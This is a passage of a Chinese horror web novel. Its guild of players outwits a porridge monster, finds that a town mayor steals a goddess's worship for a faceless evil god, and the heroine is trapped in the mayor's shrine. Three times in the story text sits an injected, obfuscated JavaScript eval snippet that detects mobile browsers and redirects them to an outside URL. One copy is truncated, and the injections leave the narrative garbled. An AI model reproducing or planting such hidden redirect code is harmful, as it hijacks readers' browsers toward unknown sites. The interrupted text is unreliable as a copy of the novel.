孙光祖见势不妙,也不管他那几个会员的死活了。 他在手心里偷偷捏碎一个逃遁道具,想要溜之大吉。怎料,刚化成的青烟还没往上飘,就被老大姐一铁勺敲回了原形。 只听得“哗啦”一声,铁勺里残存的半勺粥变成的清水,随着这一下敲全洒出来,给孙光祖劈头盖脸一顿泼。 孙光祖从头到脚,被淋了个透心凉。 刻意设计的发型乱了,高定西装也湿透了,他好不容易打造的上层人形象不复存在。 顷刻间,成了一只落水狗。 “还想逃?门都没有。”老大姐昂起脖子。 直到这一刻,孙光祖才惊悚地发现——她的脖子和头套中间,居然是相连的,连接两者的血肉甚至还在跳动。 这个老大姐,根本不是孙光祖本以为的,会给考察员提供线索的和善NPC。 她分明,是在这里守株待兔的一大鬼怪。 “说!你们把我的粥,搞到哪里去了?”头套上,咧开的两片红唇威胁地翘起,老大姐拿着她长柄勺子,有一下没一下地敲击着铁桶边沿,发出令人胆寒的金属撞击声: “要是说不清楚,就都给我留下来煮成粥吧!” . 就在王座公会迎接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15398997|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼怪制裁的同时,不知名公会的众人正凑在一起,兴奋地数积分。 “齐檎丹,你想的这招真有用诶。我已经拿到完成任务2的奖励了,足足有50积分呢。”苏意虹看着新到手的积分,越看越兴奋,恨不得把积分捧进手心里捂热。 邱义同样欣喜:“我也是,我们应该都算完成任务了。” 他们这一招瞒天过海,把喝完可能被花籽寄生的粥,都替换成了清水,就算直接喝下肚也无事发生。 现在,一个个健康得不得了。 齐檎丹还趁着那老大姐分花婆粥的时候,偷摸着拍了张照。虽说被人群挤着,拍得没法太较真,但能多张S级照片道具,总比没有好。 邱勇迟来了一些,从门里走进来的时候,还在止不住偷笑:“我刚刚特地过去瞅了一眼,王座公会的那四个人,正被围着暴揍呢。” “四个人?”齐檎丹察觉到人数上的不对,“少了谁?” 邱勇想了想:“少了顾斩风。” 不知道是什么原因,顾斩风这次行动没跟王座公会一起,也不知道去了哪里。 齐檎丹眉头微微皱起,忽然有点不是那么放心。因为从半小时前开始,齐檎丹便总感觉,有种探究的目光落在她身上,好像有人在看着她。这感觉时有时无,可她每次回头看时,都一无所获。 那人只躲躲藏藏地窥探,却没有做出危害她的实际行动。 这让齐檎丹感到非常奇怪。 苏意虹点开积分收支详情,继续说道:“我这里的积分比50还多了不少,显示是直播间观众打赏的。你们是不是也收到打赏了?” 其他人查看过后,也纷纷点头。 尤其是齐檎丹这边,被打赏的积分格外多。以至于让她产生了一种,穷人乍富的错觉。 但,经历王座公会那场舆论战后,他们不知名公会的风评,不是已经烂到爆了吗?怎么还有人打赏积分帮助他们? 齐檎丹打开直播弹幕,看到了原因。 “受不了王座公会那边了,特地过来支持一下。” “同。王座公会那个姓孙的真的太蠢了,想用道具抛弃会员独自逃生,结果被鬼怪打断做法了。我笑死。” “我去看了合同,不知名公会是真的不会压榨会员,希望能多撑久一点吧。” 不知名公会的支持者增加了,关于王座公会讨伐齐檎丹不讲信用的事情,也有了不同的声音。 “能说吗?我感觉齐檎丹选择了王座公会,又自己开公会这件事,也值得探讨。” “我从一开始就觉得,这件事很怪。” “直到现在,王座公会也没有拿出齐檎丹事先说好会进入王座公会的证据,我估计是没有。有的话,早拿出来了。 “而且系统在这方面的约束很严格,但凡签了书面合同,绝无违约的可能,齐檎丹肯定还没签。没签合同,也没证据的事,怎么能说是背信弃义?” 看到质疑王座公会的人越来越多,齐檎丹欣慰地关掉了弹幕。 他们所在的位置,是花婆庙里的宣传走廊。齐檎丹带不知名公会来这里,不是为了换个地方数积分。 他们有更重要的事情要做。 走廊两边装着宣传栏,里面张贴着许多宣传材料。而他们的任务,则是从宣传材料的信息介绍里,寻找与花婆庙神像相关的信息资料。 “还记得我在作为神像仓库的厢房里,我数过的变得男性化的神像数量吗?发生改变的,一共是15尊神像,”齐檎丹说,“我们需要知道,这15尊神像中间,间隔了多长时间。” 锁定时间点,然后由这个时间倒推。 基本就能顺藤摸瓜地找出,惜花古镇里的花婆庙,为什么会变成如今这副杀人养花的样子了。 89. 骨肉繁花16 不知名公会的搜寻,很快有了结果。 “找到了,这庙里的花婆神像是一年换一次新的。” “按照一年一换的规律,15座神像,那应该指的就是15年。神像第一次往男性化的方向变动,是在十五年前。” “我这边的宣传材料显示,十五年前,刚好是惜花古镇的县长,开始接管花婆庙中事务的时候。” 他们从满墙宣传材料中,拼拼凑凑,竟也拼凑出了十五年前的旧事来。 十五年前,惜花古镇的新镇长上任。 这任镇长姓韦名叫妙官,上任没几年,这个韦镇长就宣称自己拿到了花婆赐福的种子,提出希望代管理花婆庙。 镇上的百姓们最是信奉花婆,一开始自然不肯,然而,这些种子生长绽放出来的繁花,却征服了古镇上的全部信徒。从此往后,镇长就堂而皇之地入主花婆庙,组织花婆节的相关活动。 “什么‘征服’,这明明就是精神污染。”苏意虹可是亲身体验过这污染的危害的。 那时候,她都神思恍惚了。 一提起这事,邱勇尴尬症都快犯了。 同为被精神污染者,邱勇比苏意虹还惨点。当时,他可不只是恍惚,他差点就上赶着给这些吃人的花当宿主去了。也不知怎么的,吸进那花粉以后,他就只剩下“想让花寄生”这一个念头。 他不止想自己被寄生,还失心疯了,想劝别人也去被寄生。 谁阻止也不好使。 那时候,他哥为唤醒他神智,给他划的那道伤疤还在手上,邱勇想想都后怕。 邱义问完他们两人被感染的原因之后,总结道:“这种怪花的花粉和花香,应该都是有问题的。只是花粉的精神感染力极强,而花香要等浓度达到一定程度之后,才会发作。” 然而镇长负责花婆庙后,把这种花栽种得到处都是,花香味一整天内都会在镇子里飘散。 看来之后,他们要小心防范了。 齐檎丹现在基本可以确定,这些食人怪花的出现,和这位韦镇长有着脱不开的关系。但把剧情挖掘到了这个程度,系统却压着剧情解锁度和积分,迟迟不肯给。 比起玩不起,更像是觉得……他们的挖掘,还没有深入到能给剧情解锁度的程度。 这还不够? 那要怎样才够? 齐檎丹想了想,感觉出现这样的局面,可能是因为他们目前新了解到的旧事,只停留在浅表的信息提取。 宣传栏就设在这里,随便走来一个人想看就能看,除了数那15尊神像得出来的十五年这个信息点,其余没有半点技术含量。剧情解锁度通常是了解一整件事后,才一起给,想解锁这部分过往剧情,估计还需要补充更多信息。 齐檎丹想起了“赐花”仪式里,她故意拖延一分钟时间,看到的那个黑影。 那黑影从花婆神像里出现,却跟花婆大不相同。 花婆有发髻,黑影无发髻;花婆的脊背是微微佝偻的,黑影的背是挺直的;花婆身高略矮,黑影的身高已与男性无异……哪怕黑影没有完全显形,只是一个模糊的轮廓,齐檎丹也能明确地指出差异。 实不相瞒,她觉得这黑影的身高和造型,有点像男的。 或许,她可以按图索骥。 齐檎丹问找到镇长信息的邱勇:“镇长的介绍那边有他的照片吗?能不能带我去看看?” “当然,”邱勇指出了那个宣传材料。“照片非常清晰。” 镇长资料上放的那张照片,确实只能用清晰来形容。它是一张非常公式化的大合照,算不上具备美感,但是照片上该给的信息,都给得非常明确。 照片是韦镇长来视察花婆庙的时候,在这间花婆庙里拍的。 中间那位中年男人,俨然是镇长韦妙官。 男人岔开腿坐着,不太容易看出身高,但齐檎丹清清楚楚地看见,韦妙官微秃的额头上,有着三个明显的黑点。 齐檎丹伸手擦了擦照片,没能把黑点擦掉。 显然,韦妙官额头上本就有这三颗黑痣。 苏意虹顶着彩虹短发,蹦了过来:“不仅黑痣的数量和位置对上了,我看得出,那花婆神像男性化后的眉眼,也和照片上的镇长长得越来越像。” 这个姓韦的镇长,正是工匠在绘制神像面部时,所参考的对象。 工匠篡改神像模样,是受人所托。而这个花钱买通匠人,改动花婆神像的卑鄙小人,就是本镇的韦妙官镇长。 是他,盗窃了原本应归花婆所有的信仰。 镇里的人们崇敬爱戴花婆,殊不知,花婆早已被偷偷移花接木。神台上端坐着的,早已另换他人。 镇长这么积极地派人主持花婆节,正是因为: 他便是收割利益的那个人。 . 系统下发的第三个任务是放河灯,也是由花婆节民俗活动演变成的。 【任务3:放河灯】 【惜花古镇内有一河道,与外面江水相连,年年花婆节,居民都会在夜晚放河灯祈愿。】 【请在入夜后,按照花婆庙外张贴的时间安排表,将河灯点燃放入水中,完成考察任务。】 放河灯这一个任务,终于不在花婆庙内进行了,包围在花婆庙外面的巡游队伍,也到了别处去。被困在花婆庙里老半天的考察员们,因此得以自由外出。 “放河灯是在晚上,也就是说,我们在天黑之前得到古镇里,从居民那里拿到河灯。”苏意虹说着,觉察到齐檎丹正在走神,伸手到她面前晃了一下,“齐檎丹,你怎么有些心不在焉啊?” 齐檎丹神志随着这一晃,缓慢回笼。她却依然心事重重:“韦镇长那件事,我还是有点想不明白。” 苏意虹讶异:“啊?这件事不是已经很清楚了吗?” 齐檎丹摇头。 镇长韦妙官不仅是凡人之身,还是个不靠香火生活的大活人,活人不能把香火当饭吃,信仰在人间,还不如金钱来得靠谱。他觊觎神格和香火,怎么看都不像是一个正常人的思路。 “这个觊觎神格的思维逻辑,不太解释得通。”齐檎丹缓声道。 但凡韦妙官这个人死了,化成鬼才来惦记庙里这些香火,齐檎丹都觉得更能理解一些。 所以……韦妙官为什么要花婆的供奉? 齐檎丹猜想着,说道:“这韦镇长可能是个特别向往死后世界,又或者渴望永生的人。他不甘心像普通人一样生老病死入轮回,于是惦记上了这花婆庙鼎盛的香火。” 这个动机,或许还能说得通。为了逃脱平凡人的命运,镇长才想尽办法,搞到了这种吃人的怪异花籽,并利用花籽洗脑镇上居民,党同伐异,最终实现了冒充花婆,盗窃花婆信仰的目的。 很快,齐檎丹就说完了这个猜测。她耐心等待了一会儿。 剧情解锁度没给反应。 可她说的,难道不是最有可能的一种情况吗?齐檎丹叹气。 “没反应?那看来是错了,”齐檎丹自暴自弃,开始瞎编乱造,“莫非,这韦镇长是好的?花婆是个一代代传承的身份,镇长是花婆的后代,这一代传承到花婆身份的,正好是镇长这个男性。镇长需要把花婆神像的脸换成自己,才能接任。” 瞎猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏意虹惊讶得睁圆了眼,活像她说了什么惊世骇俗的奇闻:“齐檎丹,你被夺舍啦?100%的剧情解锁度,你真的不要?” 满剧情解锁度,可是拍出更好照片的必要条件啊。 齐檎丹不是爱拍照如命吗? 转性了? 苏意虹绕着齐檎丹,上上下下打量了一圈:“你也不像是厌倦拍照,不想拍出更高评级的照片道具的样子啊。” “不是不想要,而是不能要。”齐檎丹无奈地笑了笑。一想到放弃剧情解锁度,便意味着放弃了拍出最好的照片,一股子缺憾便跟猫爪似的,抓挠着齐檎丹的心。齐檎丹固然爱拍照,可现在,她已经有了比拍照更重要的东西,想要保护。 ——她想保护她的公会,保护她的朋友。拍照是齐檎丹自己的私心,必要时,她可以牺牲这份私心,以护他人安全。 E级副本的困难程度,是远超不知名公会的能力水平的。 他们不能冒进。 过高的剧情解锁度,不仅关系到副本核心角色,还会必然无可避免地牵涉到,隐藏在背后的鬼怪大BOSS。一味冒进,只会造成无谓的鲜血和牺牲。 齐檎丹对不知名公会的实力,有着最基本的自知之明。哪怕从这壁画里探出的怪手,只是这副本里的小鬼怪,他们应付起来,都能感到明显的艰难,更不用说,那牵涉到整个副本核心的大BOSS了。 因此,齐檎丹不打算强求剧情解锁度上的完美,能保住所有人的性命一起通关,已是成功。 “趁着王座公会还没脱困,我们先到镇上去吧。能避着韦镇长,就尽量避着。”齐檎丹说。 她不希望惹祸上门。 今日是花婆节,放河灯的时候也很快要到了,市集上卖河灯的小摊应该不少。要买到河灯,想来不是难事。 只希望,一切能够平安顺利吧。 90. 骨肉繁花17 古镇的市集上摊贩虽多,所售卖的河灯式样,却远不如齐檎丹原以为的琳琅满目。 这些河灯,无一不是怪花同款。 只在质量上稍有差异。 河灯的制法简单,无非是围绕着中心的短蜡烛,用色纸粘出一圈花瓣罢了。这些怪花河灯或挂着、摆着,或用竹编的圆簸箕装着,被夕阳光一晕,染得市集上红惨惨一片血光。 看着就令人颇感不详。 市集不大,里面挤的人却多。进了市集,不知名公会遂被人群冲散,不得不分开来,各自挑选心仪的河灯。 可供选择的范围小,齐檎丹便就近选了一家质量比较能看得过去的,指着其中的一盏河灯,向摊主询问价格:“老板,这河灯怎么卖?” 守在摊子后面的摊主,是个干瘪老头,脾气怪得很。来生意了,他也好似不乐意做,只叼着根烟斗吞云吐雾。好半晌,老头才不情不愿地瞟了齐檎丹一眼,露出一口被烟熏得颜色恶心的黑黄牙齿: “想买河灯?好啊,拿你的器官来换。心肝脾肺都可以,肾要两个起换。换别的摊子也不好使,咱们镇里,都这个价。” 齐檎丹眉梢挑了一下。 心肝脾肺和一对肾是必需品,少了哪个,人都活不了。用脚底板想想,都知道有问题。 这怪老头心眼坏得很,纯心折腾她呢! 这种宰客的行业败类,齐檎丹可不惯着:“这么简单的手工制品,也敢漫天要价,你卖得出去吗?” 这河灯属于只要有工具,她上她也能行的那种,卖个正常甚至因节日偏贵一点点的价格,齐檎丹都能接受,但开出这种要人命的天价,那就纯坏了。 原想着要人内脏的有可能是鬼怪,齐檎丹举起“照鬼相机”,对着怪老头的摊位“咔嚓”拍了一张。 然而非常遗憾,怪老头还是人,没能给她产出照片道具。 但照片本身还可以。 古朴热闹的集市,小摊上花状的河灯,再来点和煦的夕阳光,给人与物镀一层金……这场景,怎么拍都不至于难看。 那怪老头趁齐檎丹拍照的时候,斜着眼打量了半天,而后,叼着烟斗慢悠悠地来了一句:“你手上这铁疙瘩看着还挺好使。你要是拿这个来跟我换,也不是不行。” 齐檎丹反应了一下才意识到,这怪老头子指的“铁疙瘩”,是她拿在手里都怕摔了的相机。 齐檎丹的脸一下子就沉了下来。这老头子还真敢要,居然敢觊觎她的相机。 门儿都没有! 齐檎丹立马就把相机收回去了。她只把照片打印出来,递了过去:“要么明码标价,给我个数,我拿钱给你。要么,就只有这张照片,爱要不要。” 那怪老头接过那照片,反应却很耐人寻味。 他只看了一眼,很短暂。 紧接着,怪老头便用力捏了一下照片,半眯起眼睛,像在判断着照片里蕴含的了多少能量。 明明只是镇里的普通百姓,也会判断能量多少? 是谁教他的? 齐檎丹心里存了疑。 齐檎丹的相机上,毕竟是附着了“照鬼相机”技能的,又刚拍出过SS极照片道具,即便这张仅仅是拍副本里人类的普通照片,也多少带了点能量残留。那怪老头明明很是心动,当着齐檎丹的面,却非要把照片往旁边丢开。 “一张照片就想换我的河灯?这哪里够?”怪老头含着烟头吸了一口,做出不屑的表情。 想讨价还价?这招对她没用。齐檎丹拿起照片就走。 “哎哎哎,回来。” 怪老头急得连烟斗都搁下来了。他捧起一盏河灯,喊回齐檎丹:“不就是要河灯吗?给你给你,你那张照片留下就行。” 换取河灯的过程很顺利,一手交照片,一手拿河灯。然而,当齐檎丹从怪老头手里接过那盏河灯时,一个怪异的法阵,却突然在她脚下铺开,一股强大的吸力顿时从脚底板传来。 齐檎丹心头一震,刚意识到是这盏河灯上有问题,就被吸进了底下的阵法中。 临被吸走前的最后一刻—— 齐檎丹闻到了花香,听到怪老头诡异的低语: “好浓的花香啊。镇长,我又找到新鲜的外地供品,给您送去了。” . 齐檎丹不曾料想到,她千防万防都不想靠近的镇长韦妙官家,居然被市集上一盏小小的河灯给送来了。 都怪她测试出那怪老头是普通人后,就少了两分警惕性,忘了这镇里的居民都被花香腌入味了,早被洗脑成功。检测能量的方法和藏有阵法的河灯,估计都是镇长教的。 为的,就是趁他们不备,通过传送阵法,把人抓来送进镇长家……的囚笼里。 那笼子是关大型犬的。 人要容身里面,不得不憋屈地佝偻蜷缩。 仿佛好不容易演化出直立行走产生的人格,被这个装狗的笼子局限住了。 想到其他人也在选购河灯,很可能同样重蹈覆辙,齐檎丹立刻先往不知名公会的群上发消息,通风报信,才开始研究这笼子的具体构造。 这笼子的式样不算特殊,却是用硬度高、强度大的金属打造的。齐檎丹试着拿刀砍了砍,只能砍出很小的一点豁口,要是这么一点点拿刀磨下去,不知道得磨到猴年马月,才能逃出生天。但要是没法用强力攻破笼子,她就得等镇长回来开笼子,才可能逃脱了。 而在此之前,齐檎丹只能以一个别扭的姿态蜷缩在笼子里,她抬不起头,直不起腰,心里活像窝着火,既憋屈又烦闷。 但,齐檎丹不是一个会隐忍的人。谁不让她好过,她就不会让谁好过。 烦闷,滋生出了报复心。 “韦妙官啊韦妙官,不是我想惹你,这是你逼我的。”齐檎丹恶狠狠地磨着后槽牙,拿出了她的独门法宝——摄影师用来固定相机和灯具的三脚架。 脚架的粗细,正好能穿过笼子的缝隙,抵达笼外的空间。三脚架最长能延伸到一米七,而因为齐檎丹这次,携带了不止一根。一根不够长就两根,两根不够长就三根……只要把三脚架的伸缩腿绑在一起,齐檎丹就得到了一根几乎能抵达屋内所有地方的棍子。 由三脚架构成的棍子,成为齐檎丹手臂的延伸。她人虽受困笼中,“手”却可以四处乱窜。 哪里想搜,搜哪里。 Soeasy! 镇长还没回家,地毯式搜查一触即发。 这镇长韦妙官的老巢就好比龙潭虎穴,进来后,危险与机遇并存。她既然被迫已经进来这里,不趁机搜一搜线索,拿下剧情解锁度,那可就亏大了。 齐檎丹对这个家的第一印象,是黑暗。 暗无天日。 明明是大白天,屋里厚实的双层窗帘却都严严实实地拉着,透不进一缕光,像正竭力隐藏着什么秘密。齐檎丹摸黑,用三脚架一点点探索到窗边,将窗帘艰难地拉开一条缝隙。 傍晚的光线如约倾入,却照不亮房间里的黑暗。出现在眼前的场景,令齐檎丹不由得后颈发麻。 把这个地方叫家,或许有点冒昧了。 比起谁的家,这里可能更像一个大型神坛——专门以鲜血人牲,供奉邪神的那种阴邪祭坛。 韦妙官家里的墙面,无一例外地被粉刷成漆黑的颜色,地砖上绘制着花朵形状的怪异的图纹。齐檎丹被传送到的那个囚笼,位于房间内最为醒目的正中位置,而她的前方,则供着一个富丽堂皇、镶金嵌玉的华美神台。 一座诡异的神像独霸神台中心,俨然久受供奉。 那神像通体血红。 无面目,无五官,更无人形。 比起人类形态的神明,这更像是一团缠绕着重重黑气的扭曲肉块。 齐檎丹看不清那肉块的具体形态,因为神像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425903|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被一团令人不适的黑气笼罩着,几乎将神像全部包裹在内。黑气似乎有生命,像心脏一样,有节奏地收缩舒张着,并变得越来越浓。 齐檎丹皱着眉头,退远了一些。 这黑气,莫名地给齐檎丹一种熟悉感。她仔细复盘了一会儿,蓦然发觉,她在两个地方曾经见过一模一样的黑气。 这邪神雕像上的黑气,和王座公会的孙光祖给她下的那个诅咒上的黑气,除了浓淡上的区别,简直一模一样。除此之外,她在赐花仪式上看见的黑影,好像也是由类似的黑气凝聚而成。 齐檎丹把这两个相似点暗暗记下。她看完神像,再看向摆放神像的神台。 这神台上没有香炉香火。 供品也少得可怜。 神台供桌上,只有三朵并蒂而生的怪花。 三朵怪花大如玉碗,从花心不断冒出滋养黑气的烟雾香火,花瓣底下则透出幽微的光。齐檎丹小心翼翼地用东西挑开最下层的花瓣,果不其然地看到了怪花底下的转移法阵。 如果齐檎丹没有猜错的话,这个转移法阵的另外一端,连接着镇长韦妙官。 她这下算是明白,为什么韦妙官这个大活人,要不遗余力地盗窃花婆的香火了。 因为这些香火,不是他自己享用的。 是给他供奉的邪神用的。 由于邪神的神像没有面目,无法充当直接接受香火奉养的对象,韦妙官只能充当中介人物。 通过花婆神像上的改变,花婆庙内的香火被韦妙官盗走。而这些香火再被通过阵法,转移到笼罩在黑气中的邪神雕像上,源源不断地滋养着这个邪神,使得邪神的法力逐渐壮大。 然而,仅仅发现了神台和邪神雕像,无法为齐檎丹完全解惑。现存的疑问还有很多。 韦妙官作为一镇之长,为什么要替邪神卖命? 他为什么会供奉邪神? 如果只要求花婆的香火,只需要最初用怪花迷惑百姓就好,为什么得逞之后,韦镇长还要不断用活人血肉种植怪花,乃至培养出献祭自身养花的畸形祈福方式呢? 供奉邪神的神台供桌中间,有个夹层。齐檎丹先放下三脚架,给这个极不寻常的神台拍了张照片记录,然后想方设法拉开了神台夹层的抽屉,从抽屉里,找到了一本画满阵法的笔记本。 这个笔记本厚是厚,上面记录的阵法无非就两种。 两种,还都是转移阵法。 一种转移阵法只针对非实体,能够转移香火和目光。 齐檎丹在三朵怪花下看到的阵法,就是这一招。而转移目光这一点,也很方便韦镇长借助花婆神像的眼睛,挑选被怪花寄生的供品。 另一种阵法转移的是实体,包括人。 最简单的版本,就是藏在河灯里,把齐檎丹坑到这镇长家里来的那个阵法。 在此基础上改进一下,增加一些故弄玄虚的过程,就阵法就变成了齐檎丹在花婆庙神殿内目睹到的,那个花婆从神像中浮现而出,亲身降临的阵法。 改进后阵法有着独特的好处,只要绘制一次,便可以永久使用。而且够神秘,足以拿来哄骗信徒。 坏处是,转移过程需要一分钟。 这也就是为什么,祈福仪式的两个环节里,都需要一分钟的时间才能作出反应 ——祈福仪式里的一分钟闭眼跪拜,是韦妙官镇长把目光转移到花婆神像的眼睛上,挑选合适的人作为贡品的时间。而赐花仪式上的一分钟后显灵,则是韦妙官带着花籽转移过去的所需时长。 但这个笔记本上最重要的,恰恰是没画上阵法的几页。 这几页,是韦妙官写的记录。 韦妙官没有认真写日记的习惯,所谓记录,不过是标注了日期的寥寥数语。 可正是这不起眼的几页白纸,填补上了故事里诸多的逻辑空白。困扰着齐檎丹的疑问,也至此迎刃而解。